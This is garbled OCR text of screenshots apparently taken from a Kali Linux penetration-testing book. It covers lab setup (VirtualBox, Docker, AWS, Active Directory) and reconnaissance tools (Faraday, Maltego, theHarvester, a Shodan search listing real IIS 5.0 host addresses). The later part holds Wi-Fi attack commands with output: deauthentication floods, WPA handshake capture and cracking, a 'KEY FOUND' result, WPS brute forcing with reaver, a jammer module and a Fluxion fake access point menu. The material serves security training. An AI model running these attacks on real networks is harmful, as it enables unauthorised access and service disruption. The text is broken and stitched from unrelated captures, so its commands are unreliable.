> virtualbox-iso: Downloading or copying ISO
virtualbox-iso: Downloading or copying: http://download.microsoft.com/download/7/5/E/75EC4E54-5B02-42D6-8879-D8D3A2S
.iso
> virtualbox-iso: Creating floppy disk...
virtualbox-iso: Copying files flatly from floppy files
virtualbox-iso: Copying ./answer_files/2008_r2/Autounattend.xml
virtualbox-iso: Copying fi ./scripts/configs/microsoft-updates.bat
virtualbox-iso: Copying fi ./scripts/configs/win-updates.psl
virtualbox-iso: Copying file: ./scripts/installs/openssh.psl
virtualbox-iso: Copying fi ./resources/certs/oracle-cert.cer
virtualbox-iso: Copying file: ./resources/certs/gdig2.crt
virtualbox-iso: Copying fi ./resources/certs/comodorsadomainvalidationsecureserverca.crt
virtualbox-iso: Copying file: ./resources/certs/comodorsacertificationauthority.crt
virtualbox-iso: Copying fi ./resources/certs/addtrust_external ca.cer
virtualbox-iso: Copying file: ./resources/certs/baltimore ca.cer
virtualbox-iso: Copying fi ./resources/certs/digicert.cer
virtualbox-iso: Copying fi ./resources/certs/equifax.cer
virtualbox-iso: Copying ./resources/certs/globalsign.cer
virtualbox-iso: Copying fi -/resources/certs/gte _cybertrust.cer
virtualbox-iso: Copying fi ./resources/certs/microsoft_root_2011.cer
virtualbox- : Copying fi ./resources/certs/thawte primary root.cer
virtualbox- : Copying file: ./resources/certs/utn-userfirst.cer
virtualbox-iso: Done copying files from floppy files
virtualbox-iso: Collecting paths from floppy dirs
virtualbox-iso: Resulting paths from floppy dirs : []
virtualbox-iso: Done copying paths from floppy dirs
virtualbox-iso: Creating virtual machine...
virtualbox-iso: Creating hard drive...
virtualbox-iso: Attaching floppy disk...
virtualbox-iso: Creating forwarded port mapping for communicator (SSH, WinRM, etc) (host port 3554)
virtualbox-iso: Executing custom VBoxManage commands...
virtualbox-iso: Executing: modifyvm packer-virtualbox-iso-1485700110 --memory 4096
virtualbox-iso: Executing: modifyvm packer-virtualbox-iso-1485700110 --cpus 2
virtualbox-iso: Starting the virtual machine...
virtualbox-iso: The VM will be run headless, without a GUI. If you want to
virtualbox-iso: view the screen of the VM, connect via VRDP without a password to
virtualbox-iso: 127.0.0.1:5942
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£3 XAMPP Control Panel v3.2.2 [ Compiled: Nov 12th 2015 ]
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0 Oracle VM VirtualBox Manager

File Machine Help
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root@Kkali: /faraday-dev
File Edit View Search Terminal Help

:/# git clone https://github.com/infobyte/faraday.git faraday-dev
Cloning gnto 'faraday-dev'...
remote: Tounting objects: 25366, done.
remote: Total 25366 (delta 0), reused © (delta ©), pack-reused 25366
Receiving objects: 100% (25366/25366), 7.69 MiB | 215.00 KiB/s, done.
Resolving deltas: 100% (15579/15579), done.
Checking connectivity... done.

:/# cd faraday-dev/

:/faraday-dev# 1s
apis faraday.py persistence tests_web
AUTHORS faraday-server.py plugins updates
backup faraday-terminal.zsh README.md utils
bin gui RELEASE . md VERSION
config helpers requirements_server.txt views
controllers _ init_ .py requirements.txt zsh
data install.sh scripts
doc managers server
exporters model test_cases

:/faraday-dev# ./install.sh
[+] Install Kali GNU/Linux Rolling x86_64
Get:1 http://ftp.yzu.edu.tw/Linux/kali kali-rolling InRelease [30.5 kB]
Get:2 http://ftp.yzu.edu.tw/Linux/kali kali-rolling/main Sources [11.1 MB]
Get:3 http://ftp.yzu.edu.tw/Linux/kali kali-rolling/contrib Sources [67.7 kB]






OEBPS/Image00041.jpg
~E) - - Page~ Safety~ Took~ @]

§ http://secure.kali.com/mutilidae/

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.43  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) NotLoggedin

Home Login/Register Toggle Hints Show Popup Hints Toggle Secu Enforce SSL Reset DB View Log View Captured Data

OWASP 2013 Injection (SQL)

OWASP 2010 acetoc (Oren] Video Tutorials

Broken Authentication and
DAE YA jon Management

Web Services Cross Site Scripting (XSS)

Insecure Direct Object
References

Listing of vulnerabilities

AS - Security Misconfiguration
Documentation A6 - Sensitive Data Exposure Bug Report Email Address

A7 - Missing Function Level Access
Control

Resources

A8 - Cross Site Request Forger
Donate (CSRF) < s Release Announcements

Want to Help?

A9 - Using Components with Known
Vulnerabilities

Jou A10 - Unvalidated Redirects and ﬁ Feature Requests
U - ards 0
Video Tutorials

” i Installation Instructions D% Tools
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Faraday 2.2.0

B8
B
>>> WELCOME TO FARADAY N
[+] Current Workspace: untitled =
[+] API: OK pentest101

[faraday] (untitled) kali# nmap -oX /root/.faraday/data/pentest101 Nmap output-6.00999157877.
kml localhost 2>&1 | tee -a tmp.qrk54rnyJcC85NnPgAqrQfvgMLagp

Starting Nmap 7.25BETAl ( https://nmap.org ) at 2017-01-30 15:49 UTC
Nmap scan report for localhost (127.0.0.1)

Host is up (0.0000040s latency).

Other addresses for localhost (not scanned):

Not shown: 999 closed ports

PORT STATE SERVICE

9876/tcp open sd

Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds
[faraday] (pentest101) kali# msfconsole
[*] Starting the MetasploIt Framework console.../

Refresh workspaces

‘elcome to Faraday!
ERROR ]- 2017-01-30 15:47:36,167 - faraday.GTK - Workspace untitled wasn't found
INFO J- 2017-01-30 15:48:12,869 - faraday - Creating workspace ‘pentest101'
INFO J- 2017-01-30 15:49:20,151 - faraday.ModelController - Plugin Started: Nmap
INFO J- 2017-01-30 15:49:20,593 - faraday.ModelController - Plugin Ended: Nmap
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root@kali: /faraday-dev

File Edit View Search Terminal Help
:/faraday-dev# ./faraday.py

[*[ Open Source Penetration Test IDE
Where pwnage goes multiplayer

2017-01-30 15:47:32,942 - faraday.launcher Starting Faraday IDE.
2017-01-30 15:47:32,942 - faraday.launcher - - Dependencies met.
2017-01-30 15: 32,943 - faraday.launcher Checking configuration.
2017-01-30 15:47:32,943 - faraday.launcher Setting up plugins.
2017-01-30 15:47:32,943 - faraday.launcher Removing old plugins folder.
2017-01-30 15:47:32,952 - faraday.launcher Setting up ZSH integration.
2017-01-30 15:47:32,953 - faraday.launcher Setting up user configuratio

ns
2017-01-30 15:47:32,953 - faraday.launcher Copying default configuratio
n from project.

2017-01-30 15:47:32,953 - faraday.launcher Setting up icons for GTK int
erface.
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@/ Active Directory Domain Services Installation Wizard

Completing the Active Directory
Domain Services Installation
Wizard
ive Directory Domain Services is now installed on mﬁ
for the domain "Secure. Kaii. com”.

is Active Directory domain controller is assigned to the
“Default-First-Site-Name". You can manage sites
the Active Directory Sites and Services

To close this wizard, click Finish.
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Add Roles Wiza

Installation Results

Before You Begin
Server Roles
Active Directory Domain Services

Confirmation

Progress

The following roles, role services, or features were installed successfully:
1 1warning, 1informational messages below

i\, Windows automatic updating is not enabled. To ensure that your newly-installed role or feature is
~ automatically updated, turn on Windows Update in Control Panel.

#) Active Directory Domain Services
The following role services were installed:

Active Directory Domain Controller

(i) Use the Active Directory Domain Services Installation Wizard (dcpromo.exe) to make the server a
fully functional domain controller.

Close this wizard and launch the Active Directory Domain Services Installation Wizard (dcpromo.exe).

Installation succeeded

(A) .NET Framework 3.5.1 Features “ﬂ‘ Installation succeeded

The following features were installed:
NET Framework 3.5.1

Print, e-mail, or save the installation report

< Previous Next > | Close I Caricel

Ix
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STEPS

1.

2

Choose machine

Specify target

Start a Machine

(O company stalker [Domain]
Thi willtry to get all

(O Find Wikipedia Edits
This e tak in and

(O Footprint L1

] Show on startup
[] Show on empty graph click

@ Please select a machine to run.
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Welcome to Maltego!

STEPS ALL TRAN R ummary of the progress ta install i!
t om hosen own beloy

Welcome
Login

1
| S reault Ready...Set...GO!

Selact Tranafarr Seads Your new Maltego client has been initialized sucessfully!

Install Transforms 5 new application server(s) were found
149 new transforms were found

31 new entities were installed

You are now ready to use Maltego!

Run a machine

() Open a blank graph and let me play around

() Open an example graph

() Go away, | have done this before!
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Bubble View | Entity List [ INE;:3
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PC
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Conversation Q
Virus Over 10,000 Maltego Community Edition users!

Twiiter

b

af30fca836142d6a0b8672f1e8fS3acf
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New Graph (1) X

ftp.cyberhia.com blog.cyberhia.com cyberhia.com www. cyberhia.com
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45,113.136.187 97.74.135.45 97.74.135.133 87.74.135.55






OEBPS/Image00053.jpg
root@Kali: ~
File Edit View Search Terminal Help
t@Kali:~# theharvester -d packtpub.com -1 100 -b google -h results.html

AR AR A A A AR AR AR R AR AR AR

o diee S | —
o

—]
RN/ T | RN I |
7//7/(,\ N RN

RIS\ 7\ /A NG

S A T

TheHarvester Ver. 2.7
Coded by Christian Martorella
Edge-Security Research

cmartorella@edge-security.com
e

*
*
*
*
*
*
*
*
*
*
*

*
*
*
*
*
*
*
*
*
*
*

[-] Searching in Google:
Searching @ results..
Searching 100 results...

[+] Emails found:

customerca re(duacktnub com






OEBPS/Image00052.jpg
X | ® webcache.googleusercontent.com/search?q=cache:cyberhia.com

This is Google's cache of http:/fwww.cyberhia.com/. It is a snapshot of the page as it appeared on 5 Feb 2017 16:54:15 GMT.
The current page could have changed in the meantime. Leam more

Full version  Textonly version  View source Tip: To quickly find your search term on this page, press Ctrl+F or 38-F (Mac) and use the find bar.

ABOUT US SERVICES PRODUCTS CONTACT US

We are a Cyber Security Consulting firm to help
and assist you with Security, Privacy and Business
continuity strategy.

We specialise in Cyber Security Consulting and We aim fo solve complex
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&« > C l @ Secure | https;//www.shodan.io/search?query=II5+5.0

xplore

Enterprise Access

Contact Us

TOTAL RESULTS

ey
i )
United States

Korea, Republic of

China
Canada

Germany

TOP SERVICES

HTTP 40,336
HTTPS 5718
HTTP (8080) 1,421
HTTP (81) 658

Qconn 473

You are not authorized to view this page

64.80.190.242

64-80-190-242 static.wntprnet
INTEGRAND Assurance Company
Added on 2017-03-28 07:00:42 GMT
B= Puerto Rico

Details

EAP SRR I F &

61.178.60.34

34,60.178.61.dsiiz.gs. dynamic. 16 3dats.com.cn
China Telecom Gansu

Added on 2017-03-28 07:00:28 GMT

Bl China, Lanzhou

Details

Vulnerable 115 5.0

Server: Microsoft-IIS/!

Date: Tue, 28 Mar 2017 @7
WWW-Authenticate: NTLM
Connection: close
Content-Length: 4046
Content-Type: text/html

126 GMT

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 5.@
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

Date: Tue, 28 Mar 2017 ©7:00:05 GMT
Content-Length: 486
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Hosts | Faraday - Mozilla Firefox (- )
@ Hosts | Faraday

@) @ | 127.0.0.1:5985/_ui/#/hosts/ws/pentest101 = | Q Search b alll =} & A =

Most Visited v [ Offensive Security "\ Kali Linux “§ Kali Docs % Kali Tools [HExploit-DB Wy Aircrack-ng

Hosts for pentest101 (1) I /eon || Boeke

enter keywords

O NAME OPEN SERVICES VULNS 0S  OWNED
[m] 127001 % 1 0 o notyet
1”1 100 5 GO 1 =
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Welcome to Maltego!

: Install transforms (PATERVA 5
3 or local Transform
from the Tranform Hub

Install Transforms from:
Maltego public servers
[] Local TAS (Transform Application Server)

Hostname/IP:

URL:

Note: The installation of Tranforms and addition of local servers can also be
done later by using the Transform Hub
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ssh -i privatekey.pem ec2-user@amazon-dns-ip
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« > C O | @ Secure | https;//aws.amazon.com/marketplace/fulfillment?productld=8b7fdfe3-8cd5-43cc-8e5e-4e0e7f4139d58iref_=dtl_psb_continue&region=us-ea ﬁ'l 4]

View Categories ~ Sellin AWS Marketplace  Ar|

Launch on EC2:

Kali Linux
1-Click Launch Manual Launch : e,
Review, modify and launch With EC2 Console, API or CLI Price for your Selections:
[ $0.09 / hour
Click "Accept Software Terms & Launch with 1-Click" to :z:z ;::::w::‘::e usage feest

launch this software with the settings below
$0.10 per GB-month of provisioned

storage
EBS General Purpose (SSD) volumes

Once you accept the terms, you will have access to launch any version of this software
in any supported region. For future launches, you can return to this page or launch
directly from the EC2 console, APIs or CLI.

Free Tier Eligible
» Version EC2 charges for Micro instances are free for up to 750
2016.2, released 10/19/2016 hours a month if you qualify for the AWS Free Tier. See
details.

s (L Accept software Terms & Launch with 1-Click_ ]
US East (N. Virginia)

You will be subscribed to this software and agree that your use of this
software is subject to the pricing terms and the seller's End User

w EC2 Instance Type License Agreement (EULA) and your use of AWS services is subject to
the AWS Customer Agreement.

8Gi8
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lackbox [Running] - Oracle VM

Machine ew Input

“the quieter you become, the more you are able to hear

Boot menu

Live, (amd64)

Live (amd64 failsafe)

Live (forensicymode)

Live USB.Pérsistence (check kali.org/prst)

Live#lISB Encrypted Persistence (checkakal i .org/prst)
| Install

Graphical install

Install with speech synthesis

Advanced options
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@ Hackbox - Settings

Audio

Network

Serial Ports

UsB

Shared Folders

User Interface

Foi

IDE SecondaryMaster | (@)
] tive copovD

Image
28768

C:\Hacktools faliinux-2016.2-am...
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. Docker for Windows

Hyper-V feature is not enabled.

Do you want to enable it for Docker to be able to work properly?

Your computer will restart automatically.
Note: VirtualBox will no longer work.

Ok Cancel
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|98 Docker Setup

Please read the Docker License Agreement

DOCKER FOR WINDOWS 1.13.0
END USER LICENSE AGREEMENT

|THIS DOCKER FOR WINDOWS END USER LICENSE
|AGREEMENT (“AGREEMENT”) IS BY AND BETWEEN
[DOCKER, INC., LOCATED AT 144 TOWNSEND
|STREET, SAN FRANCISCO, CA 94107 (“DOCKER”)
JAND YOU OR THE ENTITY ON WHOSE BEHALF YOU
|ARE ENTERING INTO THIS AGREEMENT (“YOU” OR
“CUSTOMER™) AND GOVERNS YOUR USE OF

11 accept the terms in the License Agreement






OEBPS/Image00020.jpg
¥ C:\Windows\system32\cmd.exe

C:\Hacktools>docker pull kalilinux/kali-linux-docker

Using default tag: latest

latest: Pulling from kalilinux/kali-linux-docker

Digest: sha256:b89e9%1e9e08cbcfalacch825522beeb56fadb50891fffd27f1d56292e7667dcc
Status: Image is up to date for kalilinux/kali-linux-docker:latest

c:\Hacktools>
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\Windows\system32\cmd.exe

C:\Hacktools>docker

Usage: docker COMMAND

A self-sufficient runtime for containers

Option:

--debug
——help

—-host list
--log-level string Set the logging level ("debug", "info", "warn", "error", "fatal") (default

=

-config string Location of client config files (default "C:\Users\EISC\.docker"

Enable debug mode
Print usage
Daemon socket(s) to connect to (default [])

Use TLS; implied by --tlsverify

-tlscacert string Trust certs signed only by this CA (default "C:\Users\EISC\.docker\ca.pem")
--tlscert string Path to TLS certificate file (default "C:\Users\EISC\.docker\cert.pem")
--tlskey string Path to TLS key file (default "C:\Users\EISC\.docker\key.pem")

——tlsverify
-v, —--version

Management Commands:

checkpoint
container
image
network
node
plugin
secret
service
stack

Manage
Manage
Manage
Manage
Manage
Manage
Manage
Manage
Manage

Use TLS and verify the remote
Print version information and quit

checkpoints
containers
images
networks
Swarm nodes
plugins
Docker secrets
services
Docker stacks

"info")
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€ 5 C (| & Secure | https//console.aws.amazon.com/console/home?region=us-east-1

*fPe@®@O000@a

Services v urce Groups v %

AWS services

| Find a service by name (for example, EC2, 3, Elastic Beanstalk).

v Recently visited services

® Ec2

> Allservices

Build a solution
Get started with simple wizards and automated workflows.

Launch a virtual machine Build a web app @
With EC2 With Elastic Beanstalk
~1 minutes ~6 minutes

a Host a static website Create a backend for your ﬁ
With S3, CloudFront, Route 53 mobile app =
~5 minutes With Mobile Hub
~5 minutes

Deploy a serverless
microservice

With Lambda, API Gateway
~2 minutes

Register a domain

With Route 53
~3 minutes

£l viayv N.Viginiav  Support v

Featured next steps

Manage your spend
Get real-time billing alerts based on your cost and
usage budgets. Start now

E Get best practices
Use AWS Trusted Advisor for security,
performance, cost and availability best practices.
Start now

Announcements

Announcing Amazon Lightsail
Virtual Private Servers (VPS) made easy. Leam more

Amazon Aurora - New Features

Announcing PostgreSQL compatibility for Amazon Aurora. Leam
more
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C:\Windows\system32\cmd.exe - docker run -t -i kalilinux/kali-linux-docker /bin/bash

C:\Hacktools>docker run -t -i kalilinux/kali-linux-docker /bin/bash
root@87b94bd8d4d4: /# 1s

dev home 1ib64 mnt proc run srv tmp var
etc 1lib media opt root sbin sys usr
root@87b94bd8d4d4: /# g
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Add Roles Wizard

CL . Add features required for Active Directory Domain Services?
=

‘ You cannot install Active Directory Domain Services unless the required features are also installed.
Features: Description:

= NET Framework 3.5.1 Features Microsoft .NET Framework 3.5.1 combines

NET Framework 3.5.1 the power of the .NET Framework 2.0 APls
. - with new technologies for building

applications that offer appealing user
interfaces, protect your customers' personal
identity information, enable seamless and
secure communication, and provide the
ability to model a range of business
processes.

x

P

@ Why are these features required?
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passwd root
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Jesktop# ssh -i Welcome2Cyberhia.pem ec2-user@ec2-52-87-205-170.compute-1.amazonaws.com

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

Last login: Mon Jan 30 14:49:01 2017 from 61.6.46.220
:~$ uname -a

Linux kali 4.7.0-kalil-amd64 #1 SMP Debian 4.7.6-1kalil (2016-10-17) x86_64 GNU/Linux
:~$ msfconsole

d8, dsp

dsp “BP d888888p
d888888P 788"

d8bd8b.d8p d8888b 788" d888b8h d8pP 78b 88P
88P° ?P'?P d8b_,dP 88P d8P' 788 d8P d8888b $whi?88b 88b
dg8 d8 78 88b 88b 88b ,88b 788,.d88b, d88 d8P' 788 88P "78b
d88' d8sh 8b 78888P'° 78b" 788P" “788' 788 788 88b d88 d88
88b d8P 88b° 78888P'
888888P" 88n
d8sp’

Validate lots of vulnerabilities to demonstrate exposure
with Metasploit Pro -- Learn more on http://rapid7.com/metasploit

)it v4.12.34-dev 1
1593 exploits - 906 auxiliary - 273 post ]
458 payloads - 39 encoders - 8 nops ]
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]






OEBPS/Image00029.jpg
root@Kali:~# adduser noroot
Adding user ‘noroot' ...
Adding new group ‘noroot' (1008) ...
Adding new user ‘noroot' (10008) with group ‘noroot'
Creating home directory °/home/noroot’
Copying files from */etc/skel'
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for noroot
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []: 007
Home Phone []: 007
Other []:
Is the information correct? [Y/n] y
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root@ali:~# passwd root
Enter new UNIX password:

Retype new UNIX password:
passwd: password updated successfully
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Virtual Machine Settings

Hardware Options

Folder sharing

Settings Summary

) J& Shared folders expose your files to programs in the
iGeneraI Kali virtual machine. This may put your computer and
’ Power your data at risk. Only enable shared folders if you
' sk e trust the virtual machine with your data.
VMware Tools Time sync off QO Disabled
[ Unity (@ Always enabled
&p Autologin Not supported () Enabled until next power off or suspend

Add Shared Folder Wizard X
Name the Shared Folder

What would you like to call this shared folder?

Host path

C:\Hacktools\Kali_Share

Name
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Boot-Up Manager (- -]
File Services Help

Activate Description Running -
- a9bd9f53bcb49101cf3d050b080d160c >
stunnel4
f f2eb3b3897edde54dcc9cBe2c3acdfa7 >
arpwatch

Scanner services

saned

7f141f67fe73a3878403b1efb16b78de
network-manager

9be0fb38ba2581f623b79242c9c7918d

e 2
gdm3
g  9b9003c179cd2a623493209da58ea2ea -
bootlogs
d7cc95ff4950e05ed1b41e6607fe2698 =
miredo. d v

Apply | (] Advanced Quit
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Add Roles Wizard

Confirmation
Progress
Results

D Active Directory Federation Services

[] Active Directory Lightweight Directory Services
D Active Directory Rights Management Services
[] Application Server

["] DHCP Server

[] DNs Server

D Fax Server

[] File Services

[ Hyper-v

[] Network Policy and Access Services

D Print and Document Services

[] Remote Desktop Services

[[] web Server (11S)

[[] windows Deployment Services

[] windows Server Update Services

More about server roles

Next >

Description:

Active Directory Domain Services (AD
DS)stores information about objects

on the network and makes this
information available to users and
network administrators. AD DS uses
domain controllers to give network
users access to permitted resources
anywhere on the network through a
singlelogon process.

Install Cancel
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&) Hackbox - Settings

E XA g o]

General
System
Display
Storage

Audio
Network

Serial Ports
usB

Shared Folders

User Interface

Shared Folders

Path

Transient Folders

Auto-mount Access
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| https://console.aws.amazon.com/ec2/v2/home?region=us-east-1#Instances:sort=instanceld ﬁ‘ m e @00

Resource Groups v % [l viay~v N.Virginia~  Support
i Launch instance | Connect || Actions v o %
‘ Q Filter by tags and attributes or search by keyword [~] ‘ K < 1to10f1 >
@ | Name ~| Instance ID « | Instance Type ~ | Availability Zone ~ | Instance State ~ | Status Checks ~ | Alarm Status Public DNS (IPv4) -

i-01d106af0c06e935f 12 large us-east-1a @ running T Initializing  None Y  ec2-52-87-205-170.com...
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5 VMware Workstation 12 Player Setup = X

WORKS
PLAYER

10

Welcome to the VMware Workstation 12 Player
Setup Wizard

The Setup Wizard will install VMware Workstation 12 Player
on your computer. Click Next to continue or Cancel to exit
the Setup Wizard.

Copyright 1998-2016 VMware, Inc. All rights reserved. This
product is protected by U.S. and international copyright and
intellectual property laws. VMware products are covered by
one or more patents listed at:

h

mware.com/go/patents

Next Cancel
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root@kali:~# aircrack-ng /root/Desktop/wifi/nameofthewifi.cap -J <output
file>
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%8 Win32 Disk Imager . X
Image File Device
C:MacktoolsfkaliHinux-2016. 2-amd64.iso Dy -
- MDS5 Hash:
Progress
i 3%
. e
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root@kali:~# cuda Hashcat-plus32.bin -m 2500 <filename>.hccap
<wordlist>
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rootQkali:~# aireplay-ng -deauth 11 -a <MAC Address> wlanOmon
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root@kali:~# aireplay-ng --deauth 11 -a B4 FA:94:21:C5 wlan@mon
6:52 Waiting for beacon frame (BSSID: B4:EF:FA:94:21:C5) on channel 1
this attack is more effective when targeting
connected wireless client (-c <client's mac>).
52 Sending DeAuth to broadcast -- BSSID: [B4:EF 94:21:C5]
53 Sending DeAuth to broadcast BSSID: [B4:EF 94:21:C5]
53 Sending DeAuth broadcast BSSID: [B4:EF 94:21:C5]
54 Sending DeAuth broadcast BSSID: [B4:EF 94:21:C5]
55 Sending DeAuth broadcast BSSID: [B4:EF 094:21:C5]
55 Sending DeAuth broadcast BSSID: [B4:EF 94:21:C5]
55 Sending DeAuth broadcast BSSID: [B4:EF 94:21:C5]
56 Sending DeAuth broadcast BSSID: [B4:EF 94:21:C5]
56 Sending DeAuth broadcast BSSID: [B4:EF 94:21:C5]
57 Sending DeAuth broadcast BSSID: [B4:EF 94:21:C5]
57 Sending DeAuth broadcast BSSID: [B4:EF 94:21:C5]

0
Ll
a
L
il
0
0
61
il
0
0
0
01
0
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root@kali:~# airodump-ng —--bssid<MAC Address> -c 1 --showack-write
/root /Desktop/Wifi/nameofthewifi
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CH 11
CH 11

BSSID

28:10

BSSID

28:10

1[0 Elapsed: 11 mins ][ 2013-12-15 23:34
10 Elapsed: 28 mins ][ 2013-12-15 23:51 ][ WPA handshake: 28:10:7B:61:20:32

PWR RXQ Beacons
:7B:61:20:32 -52 100 16384
STATION

17B:61:20:32 00:1D:60:7D:55:5A

#Data

162353

PWR

-16

, #/s
7
Rate

48e-54e

CH MB

11 54e

Lost

712

ENC CIPHER AUTH ESSID

WPA2 CCMP  PSK gaffer

Frames

12135

Probe
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Aircrack-ng 1.2 rc4
[608:80:88] 6/5 keys tested (189.98 k/s)
Time left: @ seconds
KEY FOUND! [ passwordl
Master Key : 43 F4 77 7E A3 96 17 F6 Bl €8
8C 4A 45 5F 89 7B D@ 5B (3 CF
Transient Key : 26 42 A® EB E9 F8 D2 A8 2B 24
9F C7 C7 93 DD 3D 3C 94 2A 8E

3D F9 81 98 2E 26 1D BC D5 28
F6 BC 86 CE 3E 86 CA FE E3 A3

EAPOL HMAC : 58 73 8A E1 BE E1 46 51 (9 F2

120.68%
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root@kali:~# crunch 05 25abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX
YZ20123456789 | aircrack-ng —--bssid (MAC address) -w
/root /Desktop/wifi/nameofthewifi.cap
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CH 11
CH 11

BSSID

28:10

BSSID

28:10

][ Elapsed: 11 mins ][ 2013-12-15 23:34

][ Elapsed: 28 mins ][ 2013-12-15 23:51 ][ WPA handshake: 28:1

17B:61:20:32

17B:61:20:32

PWR RXQ
-52 100

STATION

00:1D:60:

Beacons

16384

D:55:5A

#Data
162353
PWR

-16

. #/s
7
Rate

48e-54e

CH MB

:7B:61:20:32

ENC CIPHER AUTH ESSID

11 54e WPA2 CCMP  PSK gaffer

Lost

712

Frames

12135

Probe
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root@kali:~# aircrack-ng-w passwordlist -b BSSID
/root/Desktop/Wifi/nameofthewifi.cap
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€ Create Virtual Hard Disk

Hard disk file type

Please choose the type of fik that you woud like to use for the new virtual
hard disk. If you do not need to use it with other virtualization software you
an leave this setting unchanged.

@ VDI (VirtualBox Disk Image)
O VHD (Virtual Hard Disk)
O VMDK (Virtual Machine Disk)

Expert Mode Next || cancel
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€ Create Virtual Machine

Name and operating system

Please choose a descriptive name for the new virtual machine
and select the type of operating system you intend to install on
it. The name you choose will be used throughout VirtualBox to
identify this machine.

Name: (Hackbox
Type: |Linux o
Version: | Debian (64-bit) A

Expert Mode Next Cancel
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Capturing data on channel --> 11

CH 11 [ Elapsed: 12 s 1[ 2017-03-13 00:42

BSSID FUR F¥0 Beacons  #Data, #/s CH HE ENMC CIPHER AUTH ESSIT
1C:EF:2B103:F1:BO  —12 100 115 70 11 Gbde WPAZ CCMP  PSK WI-wifi 2,d4ghz
BSSID STATION PR Rate Lost. Frames Probe
1C:5F:2B:03:F1:B0  B4:EF:FA:34:21:C5 -23  0Oe- B 1 g
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€ Create Virtual Hard Disk

File location and size

Please type the name of the new virtual hard disk file into the box below or dick

on the folder icon to select a different folder to create the file in.

Hackbox

=}

Select the size of the virtual hard disk in megabytes. This size is the limit on the
amount of file data that a virtual machine will be able to store on the hard disk.

8.00 GB
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& VMware Workstation 12 Player (Non-commercial use only) - o x

Player > | B > o S

Weicome to VMware

Workstation 12 Player

Create a New Virtual Machine

Create a new virtual machine, which wil then be added to
the top of your ibrary.

Open a Virtual Machine

Open an existing virtual machine, which will then be added
to the top of your library.

Upgrade to VMware Workstation Pro

Get advanced features such as snapshots, virtual network
management, and more.

Help
View online help.

This product s not icensed and is authorized for non-
commercial use only. For commerdial use, purchase
license. Buy now.
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root@kali:~# aireplay-ng -0 0 -a (bssid) -c wlan0
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use wifi/wifi_jammer
ifi_Jammer > show options

Description

Wireless Interface Name
Target BSSID Address
Target ESSID Name

yes Monitor Mod(defa

Target Channel Number
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Kali - VMware Workstation 12 Player (Non-commercial use only)

(] Terminal »

root@Kali: ~

File Edit View Search Terminal Help
root@Kali:~# I
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root@kali:~# wash -i wlan0 --ignore-fcs
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% Hackbox - VMware Workstation 12 Player (Non-commercial use only)

Bayer~ | Il ~ & H

KAL

“the quieter you become, the more you are able to hear”

Boot menu

Live. . (and64)

Live (amdb4 failsafe)

Live (forensic.mode)

Live USB.Pérsistence (check kali,org/prst)
LivelISB Encrypted Persistence (checkakal i. oxg/prst)
Install

Graphical install

Install with speech synthesis

Advanced options
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root@kali:~# reaver -i wlan0O -b (BBSID) -vv
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ﬁ Oracle VM VirtualBox 5.1.14 Setup

Custom Setup

Select the way you want features to be installed.

Click on the icons in the tree below to change the way features will be installed.

& - | VirtualBox USB Support
E+] VirtualBox Networking

gi=1
=]

< >

<3 - | VirtualBox Bridge
3 - | VirtualBox Host-C|
i 3 = | VirtualBox Python 2.x Su

Location:  C:\Program Fies\Orade VirtualBox\

Orade VM VirtualBox 5.1.14
application.

This feature requires 169MB on
your hard drive. Ithas 3of 3
subfeatures selected. The
subfeatures require 716KB on yo...

Version 5.1.14 Disk Usage

<Back

Next >
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INFO WIFI

SSID = V]-wifi 2.4ghz / WPA2
Channel = 11

Speed = 54 Mbps

BSSID = 1C:5F:2B:09:F1:B8 ( )

#HHE Select Attack Option ####

1) FakeAP - Hostapd (Recommended)

2) FakeAP - airbase-ng (Slower connection)
3) WPS-SLAUGHTER - Bruteforce WPS Pin

4) Bruteforce - (Handshake is required)






OEBPS/Image00008.jpg
5 Oracle VM VirtualBox 5.1.14 Setup

Version 5.1.14

Welcome to the Oracle VM
VirtualBox 5.1.14 Setup
Wizard

The Setup Wizard will install Orade VM VirtualBox 5.1.14 on
your computer, Click Next to continue or Cancel to exit the
Setup Wizard.

Next > i Cancel
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e

File Machine Help

@@Q}é} (E30etis) (@) snapshots

New Settings Start Discard

Welcome to VirtualBox!

The left part of this window is a list of all virtual machines on your computer. The listis empty now because you haven't
created any virtual machines yet. =

In order to create a new virtual machine, press the New button in the main tool bar
located at the top of the window.

You can press the F1 key to get instant help, or visit www. virtualbox.org for the latest
information and news.
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“ FLUXION 0.23 < Fluxion Is The Future >
# by Deltax, Strasharo and ApatheticEuphoria

P A

Select your language

German
English
Romanian
Turkish
Spanish
Chinese






OEBPS/Image00010.jpg
ﬂ Oracle VM VirtualBox 5.1.14 Setup

Oracle VM VirtualBox 5.1.14

Please wait while the Setup Wizard installs Oradle VM VirtualBox 5.1.14. This may

take several minutes.

Status: Creating shortcuts

L [—

Version 5.1.14

<Back
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# john —--stdout —--incremental:all | pyrit —-e WIFIESSID -i 1 -o -
passthrough | cowpatty -r yourhandshake.cap -d - -s WIFIESSID
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BlindElephant.py <website.com> joomla
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1bd - load balancing detector 0.4 - Checks if a given domain uses load-balancing.
Written by Stefan Behte (http://ge.mine.nu)
Proof-of-concept! Might give false positives.

Checking for DNS-Loadbalancing: FOUND

www . WSS . con has address 1[N 25
www . (MWD . com has address 1. 25

Checking for HTTP-Loadbalancing [Server]:
cloudflare-nginx
NOT FOUND

Checking for HTTP-Loadbalancing [Date]: 15:52:07, 15:52:07, 15:52:07, 15:52:07, 15:52:07, 15:52:07, 1
52:07, 15:52:07, 15:52:07, 15:52:07, 15:52:08, 15:52:08, 15:52:08, 15:52:08, 15:52:08, 15:52:08, 15:5!
08, 15:52:08, 15:52:08, 15:52:08, 15:52:08, 15:52:08, 15:52:08, 15:52:08, 15:52:08, 15:52:08, 15:52:09,
